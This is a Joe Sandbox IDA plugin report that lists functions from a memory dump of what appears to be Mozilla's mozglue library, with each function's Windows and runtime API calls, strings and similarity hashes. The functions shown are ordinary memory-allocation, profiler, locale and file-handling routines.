Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: a21e757ad6f51e09a4e02fea6166f1257768e4be43b99472ef9057c8a06cef47
Instruction ID: 4e23d5a60174d452d56d0347e3802dc5e4d73af1ae86f8508b65054ab5ac1672
Opcode Fuzzy Hash: a21e757ad6f51e09a4e02fea6166f1257768e4be43b99472ef9057c8a06cef47
Instruction Fuzzy Hash: 52313761E0038897EB019B78DC449FEB778EF96208F049729EC4997612FB34E9C8C391

Function 6CAC3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6CAC3EEE
RtlFreeHeap.NTDLL ref: 6CAC3FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6CAC4006
RtlFreeHeap.NTDLL ref: 6CAC40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CAC3CCC), ref: 6CAC40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CAC3CCC), ref: 6CAC40C2
RtlFreeHeap.NTDLL ref: 6CAC4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6CAC3CCC), ref: 6CAC4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6CAC3CCC), ref: 6CAC4157

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: d217d182e5866322f72127785aaeb7614920b5b87296626e6de1a312136b9b8e
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 65A18EB1B41215CFEB40CF28C8807A9B7B5FF48308F294599D909AF742D775E886CBA1

Function 6CAB2030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6CAD3F47,?,?,?,6CAD3F47,6CAD1A70,?), ref: 6CAB207F
memset.VCRUNTIME140(?,000000E5,6CAD3F47,?,6CAD3F47,6CAD1A70,?), ref: 6CAB20DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6CAD3F47,6CAD1A70,?), ref: 6CAB211A
EnterCriticalSection.KERNEL32(6CB3E744,?,6CAD3F47,6CAD1A70,?), ref: 6CAB2145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6CAD3F47,6CAD1A70,?), ref: 6CAB21BA
EnterCriticalSection.KERNEL32(6CB3E744,?,6CAD3F47,6CAD1A70,?), ref: 6CAB21E0
LeaveCriticalSection.KERNEL32(6CB3E744,?,6CAD3F47,6CAD1A70,?), ref: 6CAB2232

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6CAB2253, 6CAB2268
MOZ_CRASH(), xrefs: 6CAB227D

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 9da7f9e5261d661366ec3f1a31dfa72e6795d59c006b0fa3d06190087c0c8937
Instruction ID: 154129b0cb70c6907b9b8dbe2a7fa660817824f31a5532c6b0352ee965b4e3a1
Opcode Fuzzy Hash: 9da7f9e5261d661366ec3f1a31dfa72e6795d59c006b0fa3d06190087c0c8937
Instruction Fuzzy Hash: 2461E631F002168FDB14CE68C989B6E77B9AF95318F294636E928B7A94D7709C84C781

Function 6CAB48E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6CAF483A,?), ref: 6CAB4ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6CAF483A,?), ref: 6CAB4AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6CAF483A,?), ref: 6CAB4A82

Part of subcall function 6CACCA10: mozalloc_abort.MOZGLUE(?), ref: 6CACCAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6CAF483A,?), ref: 6CAB4A97
moz_xmalloc.MOZGLUE(15D4E801,?,6CAF483A,?), ref: 6CAB4A35

Part of subcall function 6CACCA10: malloc.MOZGLUE(?), ref: 6CACCA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6CAF483A,?), ref: 6CAB4A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6CAF483A,?), ref: 6CAB4AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6CAF483A,?), ref: 6CAB4B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6CAF483A,?), ref: 6CAB4B2C

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: 6dee30da20347d0a0e0d10cf062afd0a51e74f18dc68922db5267fed7b338421
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: F0714AB1A007069FD754DF69C580AAAB7F9FF08308B104A3ED15ADBB41E731E599CB81

Function 6CB09D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB08273), ref: 6CB09D65
free.MOZGLUE(6CB08273,?), ref: 6CB09D7C
free.MOZGLUE(?,?), ref: 6CB09D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CB09E0F
free.MOZGLUE(6CB0946B,?,?), ref: 6CB09E24
free.MOZGLUE(?,?,?), ref: 6CB09E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CB09EC8
free.MOZGLUE(6CB0946B,?,?,?), ref: 6CB09EDF
free.MOZGLUE(?,?,?,?), ref: 6CB09EF5

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 46385be6960722380e9ee0a415a839e25d4bab6773fa3e3341246d5b38b53ed7
Instruction ID: 4e006e3c886e7d0d403d407ba8a91557b27bdd135d6dfd86cb69032645690a91
Opcode Fuzzy Hash: 46385be6960722380e9ee0a415a839e25d4bab6773fa3e3341246d5b38b53ed7
Instruction Fuzzy Hash: 1471AFB0A09B818BD712CF18C58055BF7F4FF99316B448619E89A5BB01EB30F8C9CB81

Function 6CB0DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CB0DDCF

Part of subcall function 6CAEFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAEFA4B

Part of subcall function 6CB090E0: free.MOZGLUE(?,00000000,?,?,6CB0DEDB), ref: 6CB090FF
Part of subcall function 6CB090E0: free.MOZGLUE(?,00000000,?,?,6CB0DEDB), ref: 6CB09108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB0DE0D
free.MOZGLUE(00000000), ref: 6CB0DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB0DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB0DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB0DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CAFDEFD,?,6CAC4A68), ref: 6CB0DF32

Part of subcall function 6CB0DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CB0DB86
Part of subcall function 6CB0DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CB0DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CAFDEFD,?,6CAC4A68), ref: 6CB0DF65
free.MOZGLUE(?), ref: 6CB0DF80

Part of subcall function 6CAD5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAD5EDB
Part of subcall function 6CAD5E90: memset.VCRUNTIME140(6CB17765,000000E5,55CCCCCC), ref: 6CAD5F27
Part of subcall function 6CAD5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAD5FB2

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: d0133a966e1fdf93da978282e5511a8e169daab9be767d3bd09ccf0de7f9b95b
Instruction ID: 074773fa35d1c2848330fb83bce10f8788be46d9d2b758dc2105cef25bbf2c04
Opcode Fuzzy Hash: d0133a966e1fdf93da978282e5511a8e169daab9be767d3bd09ccf0de7f9b95b
Instruction Fuzzy Hash: 2751E8767016919BDB219B38E8806AFB776FF91308F96451CD81A53B80DB31F859CB83

Function 6CB15D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6CB15C8C,?,6CAEE829), ref: 6CB15D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6CB15C8C,?,6CAEE829), ref: 6CB15D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6CB15C8C,?,6CAEE829), ref: 6CB15D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6CB15C8C,?,6CAEE829), ref: 6CB15D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6CB15C8C,?,6CAEE829), ref: 6CB15DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6CB15C8C,?,6CAEE829), ref: 6CB15DC9
std::_Facet_Register.LIBCPMT ref: 6CB15DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6CB15C8C,?,6CAEE829), ref: 6CB15E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6CB15C8C,?,6CAEE829), ref: 6CB15E45

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 884659bfaebd2a8ecc6cd8d57fec3281647ed7ef80a4fba4f7a36aed8cbd283f
Instruction ID: 18c442f7dfb8459e16f430ae0b243f7a558f0cfc8746f4fdb3d5b84f26f90fda
Opcode Fuzzy Hash: 884659bfaebd2a8ecc6cd8d57fec3281647ed7ef80a4fba4f7a36aed8cbd283f
Instruction Fuzzy Hash: 8A418F31B042558FCB10DF65C899EAE77B9FF89318F044069E50A97B91DB34EC09CB65

Function 6CAECC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CAB31A7), ref: 6CAECDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CAECFA4, 6CAECFB8
<jemalloc>, xrefs: 6CAECF9F, 6CAECFB3

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 129167b493d1d014188981643524df4af30131c4a7cef01a38db7f97056c088f
Instruction ID: 8212485d2fc386349fc023f455e72092d80a0c4c424d98d3bf4db259b398e828
Opcode Fuzzy Hash: 129167b493d1d014188981643524df4af30131c4a7cef01a38db7f97056c088f
Instruction Fuzzy Hash: 8F31D6317403156BEF10AEA98C45BAE7F75BB4971CF344015F618AB6C0DB71D8809BE0

Function 6CABECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CABF100: LoadLibraryW.KERNEL32(shell32,?,6CB2D020), ref: 6CABF122
Part of subcall function 6CABF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CABF132

moz_xmalloc.MOZGLUE(00000012), ref: 6CABED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CABEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CABEDCC
CreateFileW.KERNEL32 ref: 6CABEE08
free.MOZGLUE(00000000), ref: 6CABEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CABEE32

Part of subcall function 6CABEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CABEBB5
Part of subcall function 6CABEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CAED7F3), ref: 6CABEBC3
Part of subcall function 6CABEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CAED7F3), ref: 6CABEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CABEDC1

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 057772f58199fdf4f9b8a5a12e4ab70d7520771ce4a20497d73528b21aaaae13
Instruction ID: bd6f3776f1423d8b998d8388f3ca8207354e00c75fe4180e6744b4bc92e56167
Opcode Fuzzy Hash: 057772f58199fdf4f9b8a5a12e4ab70d7520771ce4a20497d73528b21aaaae13
Instruction Fuzzy Hash: 39510171D053449BDB00DF68C9406EEB7B8AF49318F08886DE8557B780E774A9C8CBE2

Function 6CB2A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CB2A565

Part of subcall function 6CB2A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB2A4BE
Part of subcall function 6CB2A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CB2A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CB2A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CB2A6B6

Strings

0, xrefs: 6CB2A5FB
z, xrefs: 6CB2A6AE

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 8ed64ac78575fa512eb98b616ba8ba108c9454ce4e6f1a6d472078898ab6d814
Instruction ID: 22291dd6e1df24bcbb786a271509978b7558850c417de552aaeccfeaf596edc5
Opcode Fuzzy Hash: 8ed64ac78575fa512eb98b616ba8ba108c9454ce4e6f1a6d472078898ab6d814
Instruction Fuzzy Hash: 9F4106719097859FC341DF28C480A9BBBE5FF89354F408A2EF49987650EB34E589CB93

Function 6CAB78C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6CB3008B), ref: 6CAB7B89
free.MOZGLUE(?,6CB3008B), ref: 6CAB7BAC

Part of subcall function 6CAB78C0: free.MOZGLUE(?,6CB3008B), ref: 6CAB7BCF

free.MOZGLUE(?,6CB3008B), ref: 6CAB7BF2

Part of subcall function 6CAD5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAD5EDB
Part of subcall function 6CAD5E90: memset.VCRUNTIME140(6CB17765,000000E5,55CCCCCC), ref: 6CAD5F27
Part of subcall function 6CAD5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAD5FB2

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: 615dce55a4ab0ce639c73c727f5fae045d484435406d6dc5c1a0c5f69bcc6d46
Instruction ID: 618347b5c8510e9500a66e9000990d1e9e2d163edee1910ff39adf9c5690de7e
Opcode Fuzzy Hash: 615dce55a4ab0ce639c73c727f5fae045d484435406d6dc5c1a0c5f69bcc6d46
Instruction Fuzzy Hash: 31C1A271E011288BEB24CB68CD90B9DB776AF41314F1506A9D41AFBBC1C771AEC98F61

Function 6CAF9420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CAEAB89: EnterCriticalSection.KERNEL32(6CB3E370,?,?,?,6CAB34DE,6CB3F6CC,?,?,?,?,?,?,?,6CAB3284), ref: 6CAEAB94
Part of subcall function 6CAEAB89: LeaveCriticalSection.KERNEL32(6CB3E370,?,6CAB34DE,6CB3F6CC,?,?,?,?,?,?,?,6CAB3284,?,?,6CAD56F6), ref: 6CAEABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAC4A68), ref: 6CAF945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAF9470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAF9482
__Init_thread_footer.LIBCMT ref: 6CAF949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CAF9459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CAF946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CAF947D

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: fb345ce2e0717b4a53bd4dabe872e79e4c5ae9be91e9cbe7db1917465fb39e24
Instruction ID: 06d3a80ca3d2d0c070a2549f26c50effc66609e21043475dcf4274cc65211524
Opcode Fuzzy Hash: fb345ce2e0717b4a53bd4dabe872e79e4c5ae9be91e9cbe7db1917465fb39e24
Instruction Fuzzy Hash: 66012874A0011097D7209F6CDA04A8D33B9DB19339F0C0537E85E87B41DB35D8DA899B

Function 6CB00F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB00F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB00F88
GetCurrentThreadId.KERNEL32 ref: 6CB00FF7
InitializeConditionVariable.KERNEL32(?), ref: 6CB01067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6CB010A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6CB0114B

Part of subcall function 6CAF8AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6CB11563), ref: 6CAF8BD5

free.MOZGLUE(?), ref: 6CB01174
free.MOZGLUE(?), ref: 6CB01186

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 32dfd8813d963bd836015d235c623dde3b0dd86760af0679d9c390bb4b8e4b55
Instruction ID: e0d52c5ec39a981b9b37fecfd31b919b02aa904af5d2c071888fba352fb448a1
Opcode Fuzzy Hash: 32dfd8813d963bd836015d235c623dde3b0dd86760af0679d9c390bb4b8e4b55
Instruction Fuzzy Hash: 84618B756043809BDB14CF24D98079EBBF5BFC5308F04891DE88947612EB71A489CB82

Function 6CABB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6CABB61E,?,?,?,?,?,00000000), ref: 6CABB6AC

Part of subcall function 6CACCA10: malloc.MOZGLUE(?), ref: 6CACCA26

